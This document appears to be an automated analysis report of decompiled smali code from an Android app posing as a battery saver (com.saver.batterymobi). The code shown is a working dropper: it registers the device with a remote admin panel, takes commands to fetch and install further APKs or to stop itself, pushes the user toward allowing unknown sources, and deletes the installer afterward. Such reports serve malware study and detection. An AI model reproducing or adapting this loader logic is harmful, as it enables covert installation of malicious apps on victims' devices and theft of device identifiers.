          233invoke-virtual {v2}, Lcom/saver/batterymobi/lkj/a/c;->a()Ljava/lang/String;
          234move-result-object v2
          236iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          238sget-object v4, Lcom/saver/batterymobi/lkj/jgj/esd;->d:Ljava/lang/String;
          239new-instance v5, Ljava/lang/StringBuilder;
          241invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
          243const-string v6, "getUrlTwitter: "
          245invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          247invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          249invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          250move-result-object v5
          252invoke-virtual {v3, v4, v5}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          254const-string v3, "https://"
          256invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          257move-result v3
          258if-nez v3, :cond_155
          260const-string v3, "http://"
          262invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          263move-result v3
          264if-eqz v3, :cond_16b
          265cond_155:
          266iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          268iget-object v4, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          270invoke-virtual {v4}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          272const-string v4, "urlAdminPanel"
          274invoke-virtual {v3, p1, v4, v2}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          275try_end_161: goto/16 :goto_16b
          276catch_162:
          277iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          279sget-object v3, Lcom/saver/batterymobi/lkj/jgj/esd;->d:Ljava/lang/String;
          281const-string v4, "Error twitter"
          283invoke-virtual {v2, v3, v4}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          284cond_16b:
          285const-string v2, "||no||"
          287invoke-virtual {v1, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          288move-result v2
          289if-eqz v2, :cond_1fb
          291const-string v1, "phone"
          293invoke-virtual {p0, v1}, Lcom/saver/batterymobi/lkj/jgj/esd;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
          294move-result-object v1
          295check-cast v1, Landroid/telephony/TelephonyManager;
          297iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          298new-instance v3, Ljava/lang/StringBuilder;
          300invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
          302const-string v4, "operation=registration&data="
          304invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          306iget-object v4, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          307new-instance v5, Ljava/lang/StringBuilder;
          309invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
          311invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          313const-string v0, ":"
          315invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          317sget-object v0, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
          319invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          321const-string v0, ":"
          323invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          325iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          327invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          329const-string v0, "battery2"
          331invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          333const-string v0, ":"
          335invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          337invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkCountryIso()Ljava/lang/String;
          338move-result-object v0
          340invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          342const-string v0, ":"
          344invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          346iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          348invoke-virtual {v0, p1}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;)Ljava/lang/String;
          349move-result-object p1
          351invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          353const-string p1, ":"
          355invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          357invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          358move-result-object p1
          360invoke-virtual {v4, p1}, Lcom/saver/batterymobi/lkj/a/c;->c(Ljava/lang/String;)Ljava/lang/String;
          361move-result-object p1
          363invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          365invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          366move-result-object p1
          368invoke-virtual {v2, p0, p1}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          369move-result-object p1
          371iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          373invoke-virtual {v0, p1}, Lcom/saver/batterymobi/lkj/a/c;->d(Ljava/lang/String;)Ljava/lang/String;
          374move-result-object p1
          376iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          378sget-object v1, Lcom/saver/batterymobi/lkj/jgj/esd;->d:Ljava/lang/String;
          379new-instance v2, Ljava/lang/StringBuilder;
          381invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
          383const-string v3, "(registration)Response: "
          385invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          387invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          389invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          390move-result-object p1
          392invoke-virtual {v0, v1, p1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          393goto/16 :goto_264
          394cond_1fb:
          395const-string v0, "::apk::"
          397invoke-virtual {v1, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          398move-result v0
          399if-eqz v0, :cond_244
          401const-string v0, "::"
          403invoke-virtual {v1, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
          404move-result-object v0
          406iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          408iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          410invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          412const-string v3, "urlDownloadApp"
          413const/4 v4, 0x2
          414aget-object v4, v0, v4
          416invoke-virtual {v2, p1, v3, v4}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          418iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          420iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          422invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          424const-string v3, "fileMd5"
          425const/4 v4, 0x3
          426aget-object v4, v0, v4
          428invoke-virtual {v2, p1, v3, v4}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          430iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          432iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          434invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          436const-string v3, "packageApp"
          437const/4 v4, 0x4
          438aget-object v0, v0, v4
          440invoke-virtual {v2, p1, v3, v0}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          442iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          444iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          446invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          448const-string v2, "startLoader"
          450const-string v3, "true"
          452invoke-virtual {v0, p1, v2, v3}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          453cond_244:
          454const-string v0, "::kill::"
          456invoke-virtual {v1, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          457move-result v0
          458if-eqz v0, :cond_264
          460iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          462iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->b:Lcom/saver/batterymobi/lkj/a;
          464invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          466const-string v1, "kill"
          468const-string v2, "dead"
          470invoke-virtual {v0, p1, v1, v2}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          471try_end_25a: goto/16 :goto_264
          472catch_25b:
          473iget-object p1, p0, Lcom/saver/batterymobi/lkj/jgj/esd;->a:Lcom/saver/batterymobi/lkj/a/c;
          475sget-object v0, Lcom/saver/batterymobi/lkj/jgj/esd;->d:Ljava/lang/String;
          477const-string v1, "Error checkAdminPanel"
          479invoke-virtual {p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          480cond_264: return-void
          APIs
          • java.lang.String.equals
          • android.webkit.WebView.loadData
          • com.saver.batterymobi.lkj.zxs.drg.setContentView
          • java.lang.Object.getClass
          • java.lang.String.length
          • java.lang.Object.getClass
          • android.net.Uri.parse
          • android.content.Intent.<init>
          • com.saver.batterymobi.lkj.zxs.drg.startActivity
          • com.saver.batterymobi.lkj.zxs.drg.a
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • com.saver.batterymobi.lkj.zxs.drg.getPackageName
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • android.net.Uri.parse
          • android.content.Intent.<init>
          • com.saver.batterymobi.lkj.zxs.drg.startActivity
          • android.content.Intent.<init>
          • com.saver.batterymobi.lkj.zxs.drg.startService
          • java.io.File.<init>
          • android.support.v4.content.FileProvider.a
          • android.content.Intent.<init>
          • android.content.Intent.setDataAndType
          • android.content.Intent.setFlags
          • android.content.Intent.addFlags
          • com.saver.batterymobi.lkj.zxs.drg.finish
          • android.content.Intent.<init>
          • java.io.File.<init>
          • android.net.Uri.fromFile
          • android.content.Intent.setDataAndType
          • android.content.Intent.setFlags
          • android.content.Context.startActivity
          Strings
          • http://id_click_activity/
          • text/html
          • UTF-8
          • filename
          • urlDownloadApp
          • android.intent.action.VIEW
          • Error, OpenBrowser
          • android.settings.MANAGE_UNKNOWN_APP_SOURCES
          • package:
          • com.saver.batterymobi.provider
          • application/vnd.android.package-archive
          Position Instruction Meta Information
          1const-string v0, "http://id_click_activity/"
          3invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          4move-result p2
          5if-eqz p2, :cond_125
          7iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          9iget-object p2, p2, Lcom/saver/batterymobi/lkj/zxs/drg;->c:Ljava/lang/String;
          11const-string v0, "text/html"
          13const-string v1, "UTF-8"
          15invoke-virtual {p1, p2, v0, v1}, Landroid/webkit/WebView;->loadData(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
          17iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          19invoke-virtual {p2, p1}, Lcom/saver/batterymobi/lkj/zxs/drg;->setContentView(Landroid/view/View;)V
          21iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          23iget-object p1, p1, Lcom/saver/batterymobi/lkj/zxs/drg;->a:Lcom/saver/batterymobi/lkj/a/c;
          25iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          27iget-object p2, p2, Lcom/saver/batterymobi/lkj/zxs/drg;->d:Landroid/content/Context;
          29iget-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          31iget-object v0, v0, Lcom/saver/batterymobi/lkj/zxs/drg;->b:Lcom/saver/batterymobi/lkj/a;
          33invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          35const-string v0, "filename"
          37invoke-virtual {p1, p2, v0}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          38move-result-object p1
          40iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          42iget-object p2, p2, Lcom/saver/batterymobi/lkj/zxs/drg;->a:Lcom/saver/batterymobi/lkj/a/c;
          44iget-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          46iget-object v0, v0, Lcom/saver/batterymobi/lkj/zxs/drg;->d:Landroid/content/Context;
          48invoke-virtual {p2, v0}, Lcom/saver/batterymobi/lkj/a/c;->f(Landroid/content/Context;)Z
          49move-result p2
          50if-nez p2, :cond_8f
          52iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          54iget-object p1, p1, Lcom/saver/batterymobi/lkj/zxs/drg;->a:Lcom/saver/batterymobi/lkj/a/c;
          56iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          58iget-object p2, p2, Lcom/saver/batterymobi/lkj/zxs/drg;->d:Landroid/content/Context;
          60iget-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          62iget-object v0, v0, Lcom/saver/batterymobi/lkj/zxs/drg;->b:Lcom/saver/batterymobi/lkj/a;
          64invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          66const-string v0, "urlDownloadApp"
          68invoke-virtual {p1, p2, v0}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          69move-result-object p1
          71invoke-virtual {p1}, Ljava/lang/String;->length()I
          72move-result p1
          73const/4 p2, 0x6
          74if-lt p1, p2, :cond_125
          75try_start_57: new-instance p1, Landroid/content/Intent;
          77const-string p2, "android.intent.action.VIEW"
          79iget-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          81iget-object v0, v0, Lcom/saver/batterymobi/lkj/zxs/drg;->a:Lcom/saver/batterymobi/lkj/a/c;
          83iget-object v1, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          85iget-object v1, v1, Lcom/saver/batterymobi/lkj/zxs/drg;->d:Landroid/content/Context;
          87iget-object v2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          89iget-object v2, v2, Lcom/saver/batterymobi/lkj/zxs/drg;->b:Lcom/saver/batterymobi/lkj/a;
          91invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          93const-string v2, "urlDownloadApp"
          95invoke-virtual {v0, v1, v2}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          96move-result-object v0
          98invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
          99move-result-object v0
          101invoke-direct {p1, p2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
          103iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          105invoke-virtual {p2, p1}, Lcom/saver/batterymobi/lkj/zxs/drg;->startActivity(Landroid/content/Intent;)V
          106try_end_7c: goto/16 :goto_125
          107catch_7e:
          108iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          110iget-object p1, p1, Lcom/saver/batterymobi/lkj/zxs/drg;->a:Lcom/saver/batterymobi/lkj/a/c;
          112iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          114invoke-static {p2}, Lcom/saver/batterymobi/lkj/zxs/drg;->a(Lcom/saver/batterymobi/lkj/zxs/drg;)Ljava/lang/String;
          115move-result-object p2
          117const-string v0, "Error, OpenBrowser"
          119invoke-virtual {p1, p2, v0}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          120goto/16 :goto_125
          121cond_8f: sget p2, Landroid/os/Build$VERSION;->SDK_INT:I
          122const/16 v0, 0x18
          123const/high16 v1, 0x10000000
          124if-lt p2, v0, :cond_106
          126iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          128iget-object p2, p2, Lcom/saver/batterymobi/lkj/zxs/drg;->a:Lcom/saver/batterymobi/lkj/a/c;
          130iget-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          132iget-object v0, v0, Lcom/saver/batterymobi/lkj/zxs/drg;->d:Landroid/content/Context;
          134invoke-virtual {p2, v0}, Lcom/saver/batterymobi/lkj/a/c;->d(Landroid/content/Context;)Z
          135move-result p2
          136if-nez p2, :cond_100
          137try_start_a5: new-instance p2, Landroid/content/Intent;
          139const-string v0, "android.settings.MANAGE_UNKNOWN_APP_SOURCES"
          140new-instance v2, Ljava/lang/StringBuilder;
          142invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
          144const-string v3, "package:"
          146invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          148iget-object v3, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          150invoke-virtual {v3}, Lcom/saver/batterymobi/lkj/zxs/drg;->getPackageName()Ljava/lang/String;
          151move-result-object v3
          153invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          155invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          156move-result-object v2
          158invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
          159move-result-object v2
          161invoke-direct {p2, v0, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
          163iget-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          165invoke-virtual {v0, p2}, Lcom/saver/batterymobi/lkj/zxs/drg;->startActivity(Landroid/content/Intent;)V
          167iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          168new-instance v0, Landroid/content/Intent;
          170iget-object v2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          172iget-object v2, v2, Lcom/saver/batterymobi/lkj/zxs/drg;->d:Landroid/content/Context;
          173const-class v3, Lcom/saver/batterymobi/lkj/jgj/edw;
          175invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          177invoke-virtual {p2, v0}, Lcom/saver/batterymobi/lkj/zxs/drg;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
          178try_end_dc: goto/16 :goto_125
          179catch_dd:
          180iget-object p2, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          182iget-object p2, p2, Lcom/saver/batterymobi/lkj/zxs/drg;->d:Landroid/content/Context;
          184const-string v0, "com.saver.batterymobi.provider"
          185new-instance v2, Ljava/io/File;
          187invoke-direct {v2, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
          189invoke-static {p2, v0, v2}, Landroid/support/v4/content/FileProvider;->a(Landroid/content/Context;Ljava/lang/String;Ljava/io/File;)Landroid/net/Uri;
          190move-result-object p1
          191new-instance p2, Landroid/content/Intent;
          193const-string v0, "android.intent.action.VIEW"
          195invoke-direct {p2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
          197const-string v0, "application/vnd.android.package-archive"
          199invoke-virtual {p2, p1, v0}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
          201invoke-virtual {p2, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
          202const/4 p1, 0x1
          204invoke-virtual {p2, p1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          205goto/16 :goto_11e
          206cond_100:
          207iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          209invoke-virtual {p1}, Lcom/saver/batterymobi/lkj/zxs/drg;->finish()V
          210goto/16 :goto_125
          211cond_106: new-instance p2, Landroid/content/Intent;
          213const-string v0, "android.intent.action.VIEW"
          215invoke-direct {p2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
          216new-instance v0, Ljava/io/File;
          218invoke-direct {v0, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
          220invoke-static {v0}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
          221move-result-object p1
          223const-string v0, "application/vnd.android.package-archive"
          225invoke-virtual {p2, p1, v0}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
          227invoke-virtual {p2, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
          228goto_11e:
          229iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg$b;->a:Lcom/saver/batterymobi/lkj/zxs/drg;
          231iget-object p1, p1, Lcom/saver/batterymobi/lkj/zxs/drg;->d:Landroid/content/Context;
          233invoke-virtual {p1, p2}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
          234goto_125: return-void
          Cross References
          APIs
          • java.util.concurrent.TimeUnit.sleep
          • java.lang.InterruptedException.printStackTrace
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.Object.getClass
          • android.content.Context.getPackageManager
          • android.content.pm.PackageManager.getInstalledApplications
          • java.util.List.iterator
          • java.util.Iterator.hasNext
          • java.util.Iterator.next
          • java.lang.String.contains
          • java.lang.Object.getClass
          • android.content.Intent.<init>
          • com.saver.batterymobi.lkj.jgj.ecr.startActivity
          • android.content.Intent.<init>
          • android.content.Intent.addFlags
          • com.saver.batterymobi.lkj.jgj.ecr.startActivity
          • java.lang.Object.getClass
          • java.io.File.<init>
          • java.io.File.delete
          • java.lang.Object.getClass
          Strings
          • packageApp
          • statusInstall
          • true
          • Run Application, Delete File APK
          • startLoader
          • false
          • urlDownloadApp
          • fileMd5
          Position Instruction Meta Information
          0const/4 v0, 0x0
          1const/4 v1, 0x0
          2try_start_2:
          3sget-object v2, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit;
          4iget v3, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->d:I
          5int-to-long v3, v3
          7invoke-virtual {v2, v3, v4}, Ljava/util/concurrent/TimeUnit;->sleep(J)V
          8try_end_a: goto/16 :goto_f
          9catch_b: move-exception v2
          11invoke-virtual {v2}, Ljava/lang/InterruptedException;->printStackTrace()V
          12goto_f:
          13iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          15sget-object v3, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          16new-instance v4, Ljava/lang/StringBuilder;
          18invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
          20const-string v5, ""
          22invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          24invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
          26invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          27move-result-object v4
          29invoke-virtual {v2, v3, v4}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          30const/4 v2, 0x1
          31add-int/2addr v1, v2
          33iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          35iget-object v4, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          37invoke-virtual {v4}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          39const-string v4, "packageApp"
          41invoke-virtual {v3, p1, v4}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          42move-result-object v3
          44invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
          45move-result-object v4
          46const/16 v5, 0x80
          48invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
          49move-result-object v4
          51invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
          52move-result-object v4
          53const/4 v5, 0x1
          54goto_45:
          55invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
          56move-result v6
          57if-eqz v6, :cond_69
          59invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
          60move-result-object v6
          61check-cast v6, Landroid/content/pm/ApplicationInfo;
          63iget-object v6, v6, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
          65invoke-virtual {v3, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          66move-result v6
          67if-eqz v6, :cond_45
          69iget-object v5, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          71iget-object v6, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          73invoke-virtual {v6}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          75const-string v6, "statusInstall"
          77const-string v7, "true"
          79invoke-virtual {v5, p1, v6, v7}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          80const/4 v5, 0x0
          81goto/16 :goto_45
          82cond_69: if-eqz v5, :cond_a8
          84iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          86invoke-virtual {v3, p1}, Lcom/saver/batterymobi/lkj/a/c;->d(Landroid/content/Context;)Z
          87move-result v3
          88if-eqz v3, :cond_79
          90iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          92invoke-virtual {v2, p1, p2}, Lcom/saver/batterymobi/lkj/a/c;->c(Landroid/content/Context;Ljava/lang/String;)V
          93goto/16 :goto_2
          94cond_79: const/16 v3, 0x2710
          95try_start_7b: iput v3, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->d:I
          96new-instance v4, Landroid/content/Intent;
          97const-class v5, Lcom/saver/batterymobi/lkj/zxs/drg;
          99invoke-direct {v4, p0, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
